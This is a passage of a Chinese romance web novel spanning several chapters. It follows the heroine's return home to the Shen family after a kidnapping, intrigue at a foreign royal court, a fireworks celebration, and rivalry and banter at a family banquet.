说罢,又转头看向姜花衫,打趣道,“衫衫,以后可别沈归灵沈归灵的叫了,没大没小,你阿灵哥为了你,独闯白宫连命都不要了,你以后可要对他好点。” 这种场合说这些干什么? 姜花衫脸色有些不自然,故作扭了扭脖子当作没听见。 不巧,刚转眸就和沈归灵的目光对直撞上了。 “……” 她愣了愣,眼神微闪,假装没在意顺势又把头转了回去。 沈让见状,笑眯眯,“哟,难得啊,衫衫这是不好意思了?到底是女孩子,害羞了。” 姜花衫嘴角抽了抽,这沈让怎么喜欢乱加旁白,她哪是害羞,是良心不安。 她继续假装失聪,不动声色把脖子扭了回去。 沈归灵的目光从未转移,她一回头便又撞进了眼底。 矜贵的瑞凤眼里噙着细碎的温柔,难掩笑意看了她一眼才收回目光看向沈让。 “五叔说笑了,衫衫一直对我很好。” 姜花衫斜眼乜了他一眼。 沈让完全看不懂两人之间的暗涌,拍着大腿连声附和,“对对对!看着你们几个小辈这么团结五叔就放心了。” 说着又特意看向姜花衫,“你出事这几天,大家都很担心你,尤其是老爷子,就没睡一个安稳觉。” 姜花衫微微收敛神色,“让爷爷受累了。” 沈让怕她多想,赶紧摆手,“说什么呢?五叔可不是在责怪你,这件事说到底还是白家那臭小子惹的祸。不过……那小子跟你到底有什么过节?为什么三番两次地绑架你,你知道吗?” 姜花衫摇头,“我也不知道,我假装绥尔试探过他,但他一个字都不肯透露。” “那……” 沈让还想再问,沈归灵温声打断,“五叔,有什么回去再问吧?先让衫衫休息一会儿。” 孟医生见状,点头附和,“是啊,姜小姐现在的状态需要休息。” 沈让恍然,拍了拍自己的额头,“瞧我这急性子,对对对!衫衫你先躺着休息。一切等见了老爷子再说。” 姜花衫点头,抱着身上的薄毯慢慢睡了过去。 * 识海深处,垂天的剧目之门散发着夺目的绿色荧光,缠绕在书扉上的枝蔓如雨后春笋般抽条壮大,原本青黄的新叶长成了茂盛之姿,就连之前发芽的花苞也隐隐有了出苞的状态。 从姜花衫有意识以来,还是第一次看见剧目之门如此生机盎然。 这不免让她有了疑惑,她明明一直在偏离剧情,处处跟剧目之门作对,照正常逻辑剧目之门应该会被吸取生机黯淡无光才对,为什么眼前的枝蔓却给她一种焕然新生的感觉? 怎么她越作妖,这些枝蔓反而长得越好? 姜花衫迟疑片刻,凝聚意识与剧目之门桥接。 “恶灵?” “书灵?!” “嘿!老朋友?” 没有回应。 奇怪了。 姜花衫好奇打量眼前的盛景,踏出白王宫时,她明明清楚听见剧目之门提示开启书灵模式,为什么书灵没有回应? 上一世,她就是在被沈兰晞赶出爷爷的葬礼当天触发的书灵,由此知道了自己其实只是一本书里的炮灰角色。 那个时候,书灵会有意识指引她完成剧目指定的任务,一旦她拒绝,书灵便会控制她的意识强行干预,所以她对书灵模式下的剧目深恶痛绝。 原本她进来不过是想测试一下,书灵模式到底是怎么回事,可现在毫无反应让她一时不知该怎么防备? 忽然,姜花衫想到什么,微微眯眼。 还有一个问题,现在已经换了一本书,那么书灵还会是之前那个书灵吗? * “衫衫……” 识海的荧光骤然退散,姜花衫缓缓睁开眼睛。 沈归灵皱着眉,眼里的情绪难辨,“有没有哪里不舒服?” 姜花衫摇头,“怎么了?” 一旁的沈让顿时松了口气,“快到了,我们刚刚一直叫你但怎么都叫不醒了,吓坏了。” 姜花衫目光微动,或许是意识和剧目之门桥接太深,所以隔绝了这个世界,未免沈归灵起疑,她不在意笑了笑,“太困了,你不知道,我在白宫都不敢睡觉。” 沈让听罢又来了气,“什么?!他们连觉都不让你睡?” “倒也……”姜花衫想了想,十分委屈点了点头,“那个白迪雅不知从她听说是我鞭打了白蒂娜,三番四次想加害于我,所以我才不敢睡。” 沈归灵盯着她脸上的血痕,神色平静,“你的伤就是她弄的?” 姜花衫斟酌片刻,意有所指,“应该是。” 沈归灵眼睑微微下沉,眉眼骤然清冷。 沈让,“放心,这事老爷子定然会为你讨个说法。” * 沈园早在三个小时前就收到了姜花衫回园的消息,此时沈庄领着众人在飞机坪前翘首以待。 突然,煽动气浪的轰鸣声从上空传开,飞机降落地平线投下巨大的黑影。 傅绥尔眼眶微热,一边拽着沈眠枝一边指着滑行的飞机,“回来了!回来了!” 沈眠枝跟着开怀笑了起来,还没等沈庄发话,便拉着傅绥尔一起冲了上去。 沈庄拄着龙头拐杖站在艳阳下,神情格外温和。 机舱门推开的瞬间,紫色裙裳轻轻摆动,姜花衫先抬头探出身体朝招了招手,正准备起跳,被身后一双大手抓了回去。 沈归灵,“看着台阶。” “……”姜花衫抿着嘴笑了笑,转身一步并两步跳了台阶。 “爷爷!绥尔!枝枝,我回来了!” 傅绥尔和沈眠枝冲上前一把抱住她。 沈庄看着三个女孩抱作一团,眼里隐隐拂过笑意,拄着拐杖慢慢走上前。 沈兰晞和沈清予一左一右跟着上前,虽然已经极力在克制,但目光还是忍不住锁定在姜花衫身上,待看见她身上的伤,两人神色莫名晦暗了几分。 三人短暂寒暄,姜花衫立马小跑冲向沈庄,“爷爷,我回来了。” 沈庄原本还笑吟吟,忽然,脸色就阴沉了下去,“脸怎么弄的?” 傅绥尔立马从重逢的喜悦中清醒过来,“手也受伤了?白家人虐待你了?” 沈让赶紧解释,“是白迪雅,幸好阿灵去的及时。” 沈庄勉强缓和神色,转头看向沈归灵,“阿灵,你做了很好。白家人有没有为难你?” 沈归灵摇头,“没有。” 沈庄终于松了口气,轻轻拍了拍沈归灵的肩膀,“那就好。” 沈让见大家有喜有悲,赶紧打圆场,“爸,衫衫好不容易回来,有什么咱们回家再问吧?” 沈庄眼中略有些释然,转身拉着姜花衫的手,“走,回家了。” 姜花衫忽然有些触动,回头看向沈归灵。 沈归灵略有些意外,完全没想到她这个时候顾念着他,嘴角不自觉微微上翘。 笑了笑? 有什么好笑的。 姜花衫假装没看见,扭过头跟沈庄说话,“爷爷,我跟你说,我不在这几天你担心坏了吧?有没有好好吃饭啊?” 没等沈庄回答,沈清予凑上前,“你怎么不问我,我也担心坏了。” 姜花衫瞥了他一眼,“你本来就是个坏的。” 沈清予,“……” 沈兰晞侧身,目光深幽看向沈归灵,刚刚姜花衫特意回头的那个举动让他莫名有些在意。 她向来目空一切,怎么突然学会了? * 第500章 99%和1% “阿灵。” 正想地入神,门外忽然传来沈谦的声音。 沈归灵起身,指尖随意在键盘上点了点,屏幕立马黑屏。 他漫不经心走出玻璃书房,拉开房门的瞬间,眼梢便氤氲了一层雾气。 “爸。” 沈谦含笑,“爸爸想跟你聊聊,没打扰你吧?” 若是以前,沈谦早就不请自入了,眼下这么客气实属反常。 “不打扰。” 沈归灵不动声色,主动请沈谦入屋。 两人一前一后进了书房,沈谦随意环顾一圈点着面前的沙发,“坐。” 待沈归灵落座,沈谦迫不及待从口袋里拿出一沓资料。 “这是穆上将向总军司令部提交的委任申请书,穆上将希望总军部根据你近两年在南湾三次战役中的杰出表现,同意将你提前编入南湾舰队。” 说八,轻轻拍了拍沈归灵的肩膀,“阿灵,穆明荀很看重你啊。” 沈归灵神色淡然,思考片刻,温声询问:“这事爷爷知道吗?” “自然是知道的。老爷子的意思是随你自己做主。” ”阿灵,若是你提前入营,学校那边就不用去了,只要修够了军分,两年以后直接毕业,到时候别人还要去军营从士兵做起,你已经是南湾少校了,这样的晋升之路就算是沈兰晞也望尘莫及,这可是个千载难逢的机会。” 沈谦的言语中隐隐带着与有荣焉的自豪感,他全然没有意识到,此刻他已经甘心扮演上了父亲这个角色。 沈归灵并未急着表态,郑重其事接过邀请函,“知道了,我会认真考虑的。” 一听说还要考虑,沈谦的神色略微有些不自然,但今时不同往日,他并未表现出任何不耐,稍稍收敛了自己的情绪后,笑着附和,“事关重大,你考虑周全点也是应该的。对了!你之前不是问我借调莫然吗?我已经把她之前的工作都推掉了,她现在就过来跟你,沈园规矩多,她不方便入园,我把她暂时安排在鲸港从城内,你随时可以联系她。” 沈归灵颔首,“谢谢爸。” “一家人客气什么?”沈谦摆摆手,忽然想到什么,疑惑道,“怎么突然想起要换个助手?雷行有问题吗?” 沈归灵,“毕竟是爷爷安排的人,还是小心为好。” 这话一出,亲属关系了立见高下,沈谦原本还担心沈归灵翅膀硬了不好掌控,现在看到是他多虑了。 * 沈家绑架案随着姜花衫安全归国顺利落下帷幕。 A国军方第一时间释放了S国的最高指挥使白洌,经过双方友好协商,内峡海域的冲突最终被粉饰太平遮掩了过去,沈归灵缴获的苍鹰王旗最终被收录进了军区总局的荣耀墙。 次日,A国新闻局发布了对S国公主白蒂娜的休学处理,会议上,A国外交部不仅强烈指责了白蒂娜一系列令人发指的罪恶行径,还对她颁布了禁入令。 这条消息一出,立马登上了各大国际新闻头条,如此,白蒂娜成了A国有史以来第一位明令禁止的外国人,这不仅仅是她个人的耻辱,更是整个白家王室的耻辱。 白蒂娜原本还心心念念等着自己的母亲通知她姜花衫被毁容的好消息,谁知,晴天霹雳,她的报应更早到来了。 A国的驱逐令一出,S国的民众彻底沸腾了,他们接受不了在国内接受顶级教育的公主竟被A国以人品有瑕为由退了回来,一时间S国民内部掀起了对白蒂娜的讨伐,这种不满隐隐有迁怒王室的征兆,白朱拉因此不得不亲自出面缓和。 民众不会接受一个有政治污点的君王,一趟A国之旅彻底断送了白蒂娜竞争王储的资格。 白迪雅万万没想到事情会变成这样,为了替女儿扫平障碍,只能再次向入宫向女王求情。 偌大的寝殿里,白迪雅哭得几度晕厥,“母亲,沈家人实在是欺人太甚了!就算他们要退学也用不着昭告天下,他们分明就是故意的,他们是想逼死蒂娜啊。” 女王单手支颐,神色淡漠,“你要杀沈家女儿,人家可不得动你的女儿,护不住是你自己的没本事。” 白迪雅怔愣,眼里淬满了阴毒,“早知道沈家这么不要脸,就不该放他们活着回去。” “人还没死沈家就敢直接打白家的脸,要是死了,你以为沈家会放蒂娜活着回来?”说话是S国的长公主,白拉曼,比起白迪雅,这位长公主更有政治头脑。 白迪雅神色难看,不欲与白拉曼争辩,殷勤望向女王,“母亲,蒂娜是您的亲孙女,沈家要逼死她,您不能不管啊?” 白朱拉抬眸斜睨了她一眼,“不过是当不了王储,怎么就活不了了?” 白迪雅瞳眸紧缩,看着女王的眼睛忽然发不出任何声音。 这句话无异是给她心中的侥幸判了死刑,母亲这是打算顺从民意,剥夺蒂娜的王储资格了。 白拉曼牵动嘴角,眼中略有笑意。 少了一个竞争对手对她来说可算是天大的好消息,虽然两人是一母同胞的姐妹,但王储之争向来如此?从来只有胜利者和失败者。 白迪雅心有不甘,跪地抱住白朱拉的腿,“就没有别的方法了吗?母亲,看在蒂娜是您最宠爱的孩子的份上,您帮帮她吧?” “帮?!” 这话不知是哪里惹怒了尊贵的女王,白朱拉脸色忽然沉了下来,“我还不够帮?我若早知道你这么没用,就不该放任你谋杀沈家那个丫头。” 白王宫禁卫森严,就算是白迪雅也不可能在女王的眼皮子底下闹事,那天那个侍女之所以能溜进偏殿刺杀,也不过是白朱拉的一盘碎棋罢了。 白朱拉一开始只是想利用姜花衫把沈归灵引过来,因为沈家一直不松口,所以姜花衫还有利用价值,出于对全局的考虑,白朱拉才暂时没有对姜花衫动手。 后来,沈家妥协答应让沈归灵来S国接人,白朱拉自信以为,只要沈归灵识破自己的身份,一定不会再在意沈家一个养女,所以她明知白迪雅的阴谋,却还是睁一只眼闭一只眼把纵容了偏殿里的那场暗杀。 原本她计划用姜花衫的死击碎沈家对沈归灵的信任,这样沈归灵便只能依附白家。但万万没想到,沈归灵在得知自己的真实身份后竟一点喜悦都没有,他心中依旧牵挂沈家人。 白朱拉当即明白不能操之过急,于是,她立马改变了主意让坤帕去救人。 这期间,她是给过白迪雅机会的,若是事情顺利坤帕赶往偏殿的时候,那个小丫头的尸体都该凉了。但偏偏这个女儿最不争气,不仅人没处理干净还让姜花衫抓住机会挑拨离间。 是故白朱拉怎么能不气?自己心心念念了这么久的孩子,临门一脚被人拐走了。 白迪雅也不是傻子,那日偏殿的纵容她心里是有数的,就是因为知道,今天才大着胆子进宫求情,但没想到女王的态度竟完全变了。 “母亲……” “闭嘴。”白朱拉对于沈归灵选择沈家这个决定一直耿耿于怀,连带看白迪雅都十分不顺眼,“滚出去。” 白迪雅不敢忤逆,俯身跪拜,小心翼翼退出了寝殿。 等到碍眼的消息,白朱拉转头看向白拉曼,“阿密有没有联系你?” 白拉曼摇头,“听说A国军方原本要把白冽和阿密一块遣送回国,您拒绝了。” 白朱拉冷声,“A国是什么龙潭虎穴吗?一个个的去了那不是变成丧家犬就是丢了小命?怎么?你儿子也要回来?” 简直跟沈归灵没得比起来。 白拉曼脸色微变,立马想到了坠机身亡的白冕,吓得脸色恭敬起身。 白朱拉,“我告诉你们,我手中这根权杖上站着白家无数先祖的英灵,王储一定要是白家里面最强的那个。” * “砰——” 深邃如墨的夜空被尖锐的啸音撕开裂缝,赤红星子螺旋攀升,在云层下骤然炸裂,千万粒五彩绚烂同时在鲸港上空盛开,乍现的烟火点亮了山顶半边天。 白密被突如其来的震响吓了一跳,差点把手里的镜子甩了出去。 他隔着玻璃窗看了一会儿,没好气拉上窗帘。 沈家人还真是半点不懂做人,刚把白蒂娜和白冽送回去就在家门口放烟花庆祝,生怕白家人不知道是谁在背后搞鬼。 白密骂骂咧咧,对着镜子继续观察。 嘶!这么看,那杀神的确有几分白家人的模样,尤其那双瑞凤眼,简直比他还像祖父本人。 他越看越觉得心惊。 难不成还真是他以为的那样? 否则,以祖母的暴虐的性子,怎么可能会让沈归灵安然无恙回国? 白密的眼神逐渐凝重,盯着镜子里鼻青脸肿的自己,“不行,我一定要弄清楚你到底是谁。” * “快看!是牡丹花的形状!” 为了庆祝这得之不易的团圆,沈庄特意安排一场盛世的烟火之宴。 此刻,席面的酒杯已空,众人神色各异仰头望着星空,烟火腾空时碎光泼每一个人的瞳孔,绽放成了牡丹星云的样子。 “好美啊。” 傅绥尔依靠着姜花衫的肩膀,眼神有些痴迷。 烟火从冲破云霄开始,就在奔赴一场转瞬即逝的绚烂,若不盛大,又怎么值得人铭记? 姜花衫忽然想到什么,转头看向沈庄。 沈庄小酌了几杯,眼神微醺看着天空不知在想什么。 她笑了笑,忽然感觉有人在看她,她下意识回头。 夜空突然炸开碎金裂变成无数游动的光鱼,沈归灵见她看了过来,勾唇一笑,某种暧昧不明的情绪打着旋沉入了滟潋的眸底。 第501章 都是别人的错 沈家的烟火,喧然盛放又戛然而止。 沈园上百个阿姨、管事在园中各个角落抬头仰望共赴了这场盛宴,除了五年前沈兰晞归园那夜,就数今晚的烟火最是盛大,沈庄在向众人昭示什么已经不言而喻。 烟火消散,宴席也到了尾声,沈庄由着沈执搀扶回了沁园。 冬园和菊园不是一个方向,傅绥尔依依不舍跟姜花衫道别,最后席面只剩梅兰菊竹四院主人。 沈兰晞那么高冷无趣的一个人,竟然跟着凑热闹坐到了最后,这一点倒是出乎姜花衫的意料。 见三人坐在椅子上一动不动,她慢慢起身,“你们……还有话聊?” 三人神色各异,不约而同转过头,看得出都很嫌弃对方。 沈清予第一个站了起来,漫不经心,“看了一晚上的烟火,耳朵都要吵死了,老爷子就是喜欢弄这种无聊的东西。” 无聊你还看了一晚上。 姜花衫懒得拆穿他,斜乜了一眼,正要转身,沈清予用脚勾开椅子,极其自然走到她面前。 “你要回去了?正好顺路,一块儿走。” 本来也是一个方向,姜花衫也没多想,点头,“走吧。” 刚走一步,另外两个立马有了动静,不约而同拉开椅子。 高止看准时机,大喊了一声,“姜小姐,我们正好也要回去,人多热闹,一块走啊?” 姜花衫愣了愣,虽然有些莫名其妙,但也没有拒绝,“行啊,反正顺路。” 对于沈兰晞,她已经没有最开始的厌恶和防备了,这一世只要他们各自安好,以沈兰晞性格一定会成为沈家合格的家主,替爷爷光耀家族门楣。 叫姜花衫没有拒绝,沈归灵眼睑微微下沉,嘴角不自觉抿成了一条线。 【叮——】 【警告,宝藏剧情心动篇之《拯救小可怜》心动值反弹,完成度下降0.00n+1%】 姜花衫脚步一顿,在确认自己没听错后,一言难尽看向沈归灵。 沈归灵眼里的阴霾骤然散去,略带笑意,“我也顺路。” 【叮——】 【恭喜,宝藏剧情心动篇之《拯救小可怜》被触发,完成进度99.99n9%】 姜花衫嘴角抽了抽,原来这家伙这么情绪化的? * 四人同行,路才走了一半,姜花衫就后悔了。 也不知道是不是她的错觉,总觉得这三个人今晚的磁场怪怪的,虽说平时三人也不怎么交流,但那种不交流是直接无视对方,不像现在,看似各自为营,实则好似有一道说不清的暗流在拉扯。 难道这三个人又闹不和了? 真是的,她拿命才掰扯回来的剧情,他们怎么又被人挑唆了?真是烂泥扶不上墙! 姜花衫在心里骂骂咧咧,一时没留意脚边,踩着一块滑石猛地往前扑去。 身边三人反应极快,不约而同伸手去扶。 姜花衫吓了一跳,所幸她反应快,冲出去时单脚跳了两步强行稳住了重心。 夜幕中的三只手赫然停在空中,喷薄的心思被强制压制了回去。 呼,好险!这要是摔个狗啃屎脸就丢大了。 姜花衫伸了个懒腰过度刚刚的动作,假装什么事都没发生继续往前走。 身后三人若无其事收回手,也像什么都没发生跟着往前走。 “……”高止抬头望天,怎么?合着这里就我一个是观众? 转出廊庑,梅兰竹菊四院赫然映入眼帘。 姜花衫摆摆手,潇洒作别,“拜拜~” 三人各自沉默了片刻,转头分散往自己的院子走去。 临到兰园外,沈兰晞突然停下脚步,掩藏在眸底的暗光越发翻涌。 高止小心翼翼靠近,“少爷,你怎么了?” 从姜小姐被沈兰晞救回来之后,菜鸡少爷的状态就变得很奇怪。 高止隐约感觉到沈兰晞在压抑自己的情感,但又猜不透他为什么要这么做? 沈兰晞抬眸,盯着前路犹豫了片刻,转身越过高止往菊园的方向走去。 高止顿时激动不已,这是……开窍了? 他有些不敢相信,瞪大了眼睛赶忙跟去看热闹。 另一边,姜花衫正准备上楼,冷不丁听见准备落锁的阿姨惊呼了一声,“兰晞少爷。” 她愣了愣,才回头沈兰晞已经走到了自己跟前。 “我有话跟你说。” 沈兰晞高出她一个头,这般近距离不免让人感觉有些压迫。 姜花衫往后退了一步,指着院里的花廊,“去那说?” 沈兰晞点头,转身走进花架。 姜花衫看着他的背影,不免起了疑。 这家伙可是个极重规矩的人,从长大以后,几乎没有在晚饭之后来过菊园。 看来,他要说的事真的很重要。 念此,姜花衫快步跟上,表情严肃,“你要说什么?” 沈兰晞见她‘阴沉’着脸,想着以前惹怒她的后果,声音放柔了几倍,“你还在为之前的事生气?” 姜花衫愣了愣,一时没跟上节奏,“之前的事?什么事?” 她以前生气,最多就是跟爷爷告状的时候,把他做的每件事添油加醋掐头去尾造谣一遍,现在竟然直接忽视了? 沈兰晞意识到事情比想象得更严重,低头轻咳了一声,“周宴珩的事,我不是那个意思。” “周宴珩?不是那个意思,那是哪个意思?”姜花衫皱了皱眉。 沈兰晞从未对谁刻意解释过,神情有些不自然,“我只是想让你和周宴珩保持距离,但并没有责怪你的意思,更没有把你想象成事情的罪魁祸首。” 他想了想,又郑重的加了一句,“在我心里,不管你做了什么,都是别人的错。” …… 第502章 吃醋龟 月光穿过叶缝落进深邃的眸底,不近人情的淡漠也染上了月亮的温柔。 姜花衫看着他,忽然多了一份释然。 她其实一直在意的都是为什么沈兰晞不信她,不信她是无辜的,不信她没有害爷爷。 所以当他说出,不管你做什么都是别人的错时,心里那份不甘忽然就释怀了。 因为她了解沈兰晞,高傲如他,是不屑解释更不屑谎言。 姜花衫故作不在意,“你要说的就是这些?” 沈兰晞点头,“我担心你误会,所以觉得应该要解释清楚。” 毕竟她都已经气到上手推他了。 姜花衫挑眉,一副不依不饶的样子,“说的好听,谁知道到时候别人挑拨一句什么,你会不会把我赶出沈园。” 沈兰晞皱眉,想也没想脱口而出,“我不会,我……” 他眼神忽然暗了下来,“我对你不好吗?你怎么会这么想?” 姜花衫理直气壮,“好什么好?我这么想当然有我的原因,你要做的是检讨你自己,怎么还会来质疑我?” 沈兰晞顿时感觉碰上了活祖宗,还是不讲道理的那种,只能顺着她的话不耻下问,“哪里不好?” 这一问姜花衫忽然词穷。 平心而论,这一世沈兰晞待她已经算是足够好了,若是换作上一世,她应该做梦都会笑醒。 她支吾了半天,“脾气不好。” “……”沈兰晞颇有些无奈,他是个讲道理的人,一时没忍住脱口而出,“到底是谁脾气不好?” “嗯?”姜花衫瞬间炸毛,瞪大了眼睛,“你什么意思?” 沈兰晞极度不适应改口,“……我…脾气不好。” 他从未这么适应过谁的脸色,即便是沈庄,在事实面前他也不会轻易低头。 姜花衫也没想到沈兰晞转变的这么快,冷哼了一声,“知道就好。你说完了?” 沈兰晞点头,“嗯。时间不早了,你早点休息。” 行吧,这也算她和沈兰晞修正因果的开始,他们更团结,沈家才会更好。 姜花衫抬着下巴,一脸傲娇,“我送你。” 沈兰晞脚步微顿,侧身看着她,颇有些受宠若惊。 “愣着做什么?走啊。” 沈兰晞眸光荡漾,扯着嘴角笑了笑。 从花廊到院门口不过几步路,姜花衫送到门口,随意摆摆手,“慢走~” 沈兰晞还没享受过这种待遇,从院里走出去时人还有些晕乎乎的。 姜花衫靠着院门,盯着沈兰晞的背影看了好一会儿,唏嘘摇了摇头,果然,人啊~要想自救还是得让自己过的好一点,内心富足了,很多事便也没有那么计较了。 上一世,和沈兰晞结婚后,她大多数的不快乐都是源于得不到沈兰晞的喜欢,其实现在想想,又何尝不是自己在作贱自己呢?如果当时她有收回喜欢一个人的能力,沈兰晞的所作所为根本对她造成不了任何伤害。 【叮——】 【警告,宝藏剧情心动篇之《拯救小可怜》心动值反弹,完成度下降0.00n+1%】 后背突然吹来一阵凉风,姜花衫没忍住打了个喷嚏,转头便看见沈归灵从侧门阴影处走了出来,眉眼上撩眸光深沉如墨。 “……” 姜花衫眼皮跳了跳,这家伙什么时候来的? “你……” 没等她说话,沈归灵直接转身向竹园方向走去。 【叮——】 【警告,宝藏剧情心动篇之《拯救小可怜》心动值反弹,完成度下降0.00n+1%】 “……”姜花衫盯着沈归灵的背影思考了片刻,转身回了菊园。 反弹了半天指数都没超过0.1,沈龟灵到底在生气什么? “砰——” 另一边,沈归灵还没走远,身后传来菊园关门的动静,他忽然停下脚步,侧过身望向院门口,确认院前空无一人后,心里那口酸气更加堵得慌。 沈兰晞走后,她还站在门口盯着沈兰晞的背影发呆,他才刚走,她就急不可待关了门? 沈归灵越想越气,面无表情回了竹园。 * 第503章 别开生面相亲局 正如傅绥尔说的,沈园好久没有这么热闹了。 十二道小叶紫檀花神木门全数敞开迎客,数十名管事阿姨有条不紊在廊庑下穿梭,即便人影憧憧也给人一种极有规矩的秩序感。 今天来的都是A国政圈里数一数二的大佬,座椅安排也极为有讲究。 沈庄坐主桌,副座是总统余斯文,左右两边分别是苏家老爷子,周家老爷子,顾家老太太,就连关山、沈谦这种级别的掌权者都只能坐在边缘陪聊。 因是沈家主场,沈家三房全数到齐,小辈们另开一桌在隔壁偏厅。 相比起主厅大佬们有来有往,年轻人这边气氛微妙许多。 以沈兰晞为中心,沈归灵和沈清予各坐一端,周宴珩与沈兰晞对坐,关鹤翘着二郎腿紧挨着周宴珩。 沈眠枝坐在周宴珩斜对角,右边是沈清予,左手是苏妙。 余笙邻近沈归灵,旁边依次是苏韵和苏灼。 最尴尬的要数蓝黛,所有人当中她的家世最末,只能跟着顾玉珠紧挨着关鹤。 沈清予进厅时,顾玉珠曾招呼他一起坐,但他充耳不闻直接越过。 沈兰晞无心转圜,沈归灵情绪化严重,沈清予更是打酱油,于是,看似团团圆圆的一桌生生分出了九个门派。 余笙见大家都不说话,便主动与沈眠枝寒暄,“枝枝,怎么没看到绥尔啊?和她在青年杯的那场辩论让我收获良久,原本还想借着今天这个机会再讨教讨教。” 沈眠枝一眼看出了余笙这是在示好,她向来与人为善,礼貌应道,“她啊,闲不住,去找衫衫了。” 说到姜花衫,一桌人的神情忽然微妙起来。 余笙笑了笑,“说起来绥尔和衫衫的感情真好,真让人羡慕。” 沈眠枝神色淡然,“是啊。” 什么意思?意思是姜花衫就跟傅绥尔好吗?那沈眠枝算什么? 苏妙看不惯这种话里藏话,直接怼道,“不止她们感情好,但我们的感情也很好,你少在这挑拨离间。” 若是平时余笙未必会计较,但眼下大家都看着,若是这口气咽下去了只会让别人觉得她好欺负。 余笙眼里的笑容淡了不少,“我说什么了吗?苏小姐怎么攻击性这么强?是不是太敏感了?” 沈眠枝见状,立马出面打圆场,“妙妙不是这个意思……” 苏妙直接打断,“不!我就是这个意思,我这人就是敏感,不止敏感还喜欢把人想得很坏,所以又怎么呢?” 余笙:“……” 苏妙可以不管不顾,但她不行。 余笙笑了笑,便也没有再接话。 原本就不和谐的气氛瞬间火药味十足。 苏灼见状不免有些头疼。 苏妙自从搬出去之后性子越发乖张,余笙毕竟是总统千金,这怼得人家下不来台实在有些莽撞。 但出于对苏妙的维护,他也只能装聋作哑。 苏韵看了苏妙一眼,思忖片刻将眼前的茶点推到余笙面前,“阿笙姐尝尝这个栗子糕。” 余笙能从东湾一个小洲走到今天,格局自然是有的,心知苏韵这是在替苏妙缓和气氛,顺势给了彼此一个台阶。 “阿姨端上来的时候我嘴就馋了,偏偏放你面前我没好意思拿。” 苏妙看得莫名其妙,正想说话,沈眠枝顺手拿了个橘子塞进她的掌心,十分隐晦摇了摇头。 原本余笙起头的话确有歧义,苏妙虽然不留情面,但也勉强算是真性情,谁好谁坏还真说不准。 但苏韵这般示好余笙,看似是缓和了气氛,其实是承认了苏妙理亏,这谁看了不夸余笙一句有气度? 虽说苏韵未必是故意的,但的确是坑了 苏妙,若此时若苏妙再穷追不舍就显得有些愚昧不堪了。 周宴珩抬手端茶,不动声色扫了沈眠枝一眼又淡淡转移目光。 桌上的火药星子眼看炸了又灭了,蓝黛深怕殃及自己,谨小慎微与苏妙拉开距离。 “爷爷。” 恰是这时,姜花衫和傅绥尔并肩步入主厅,原本沈庄正在和余斯文说话,听见动静立马抬头笑着朝姜花衫招手。 傅绥尔倒也不介意,轻推了姜花衫一把,自己则转身去了偏头。 姜花衫知道傅绥尔这是不想抢自己的风头,心里只觉好笑,快步走到沈庄跟前,“爷爷。” 沈庄转头看向众人,目光和煦,“难得家里来客人也不知道来帮爷爷招呼?这些都是爷爷的贵客,兰晞他们都见过了,就数你最没规矩。” 这话看似在挑刺,实则是把偏心眼表演到了极致。 这种场面,哪有一个养女出来招待客人的?偏偏沈庄就这么说了,甚至故意提及小太子沈兰晞,话里话外无非是想告诉众人,没有及早出来待客不是姜花衫地位不高,而是地位太高,沈家太子都得坐在偏厅陪客,她倒好,直接睡饱了才来。 被偏爱的都有恃无恐,对此,沈家人早就麻木了。 以前还偶尔会找点存在感,现在都是不争不抢,连沈兰晞都争不过,他们难不成还能越过沈兰晞? 姜花衫自然明白沈庄的用意,故作乖巧,依次与主位的大佬们打招呼。 她长的甚是惹眼,刻意乖巧很难让人不喜欢,再加上在场都是七窍玲珑心,都是知道眼前这个是沈家老爷子的眼珠子,挨个把姜花衫夸了一遍。 一时间,主厅的氛围更加融洽。 沈庄见目的达到,指着隔壁偏厅,“行了,跟他们去玩吧。”说罢,又刻意叮嘱了一句,“你手上还有伤,不要疯玩。” “知道了。” 姜花衫点头应下,笑吟吟走向偏厅。 傅绥尔入座时,直接挨着沈眠枝,见姜花衫进厅立马招手。 沈归灵神色淡淡,掀眸扫了她一眼,见她在场谁都没看,直奔傅绥尔便又掩下目光当起了哑巴。 “聊什么呢?”毕竟是在沈家,姜花衫难得好脾气主动打招呼。 她脸上贴着纱布,手还缠了一圈绷带,这模样一看就是有内情,但碍于场合不对,大家也都拽着明白装糊涂。 偏偏关鹤不识相,原本吊儿郎当在玩手机,冷不丁看见姜花衫身上挂彩,幸灾乐祸上下打量,“呀,好奇特的装扮,这是哪个活菩萨行侠仗义啊?就让你别太嚣张,遭报应了吧?!” …… 第504章 龟的控诉:我不舒服 这话一出,姜花衫还没反应,沈兰晞直接冷了脸。 “关鹤。” 关鹤原本还笑得贱兮兮,转眼见沈家三个臭傻逼都看着他。 “……” 没由来地,脑海里忽然闪过沈清予连同沈兰晞、沈归灵合力围剿他的画面,也不知是不是心理作用,明明已经缝合的骨缝隐隐有些抽痛。 关鹤笑不出来了,难得脑回路清晰一次,故作镇定啧了一声,“开个玩笑而已,你们这么认真干嘛?” 他努力安慰自己,这里是沈家,沈家人有主场优势,这不是怂,是能屈能伸。 沈清予可不惯着,冷笑,“我现在把你另外一只腿打断,然后再跟你说是开玩笑,你觉得好笑吗?” 关鹤瞬间冷脸,正要说话,周宴珩放下茶盏,略有深意,“来者是客,沈家就是这么招呼客人的?” 沈清予抬眼,上下打量周宴珩,“沈家人怎么招呼……” “他说的对!”姜花衫忙不迭点头附和。 沈清予愣了愣,收戾气眉毛拧动,“对什么对?!” 姜花衫摆摆手,“玩笑话嘛,本来就不重要,咱们也没必要太当真。顺便,连他这个人也不要太当真,就当他是个iOke就好了。” 周宴珩,“……” 关鹤慢了半拍才反应过来,怒道:“姜花衫,你骂谁呢?” 姜花衫充耳不闻,带头搞孤立,笑吟吟看向众人,“我们别理他,不要跟他说话,刚刚你们聊什么啊?” 傅绥尔立马打配合,“刚刚我们说起你院子里有上百种玫瑰、月季,阿珠听着好奇说想去看看。” 这是把他当猴耍了?关鹤冷笑,转头看向周宴珩,“阿珩,我们说话!” “……”周宴珩垂眸,只当没听见。 顾玉珠小心看了周宴珩一眼,见他并无不悦才敢接话,“说起来不怕你笑,我最近也迷上花草,所以现在对牡丹、月季都格外感兴趣,听说你院里有好多孤品,我想讨要点。” 姜花衫看在眼里,笑着应口,“没问题啊,你要是喜欢,我可以匀些扦插枝苗给你。” 忽然,她语气一转,故意乜了关鹤一眼,挑衅道:“要是其他人要想去也欢迎,但那个iOke不行。” “……”关鹤眼皮跳了跳,青筋爆起,“我草,谁特么想去了?不是!谁特么是iOke?” 这一句怒吼,直接把隔壁主厅的大佬都惊动了,瞬间十几双激光眼扫了过来。 关楼当即沉下了脸,隐忍不发瞪着他。 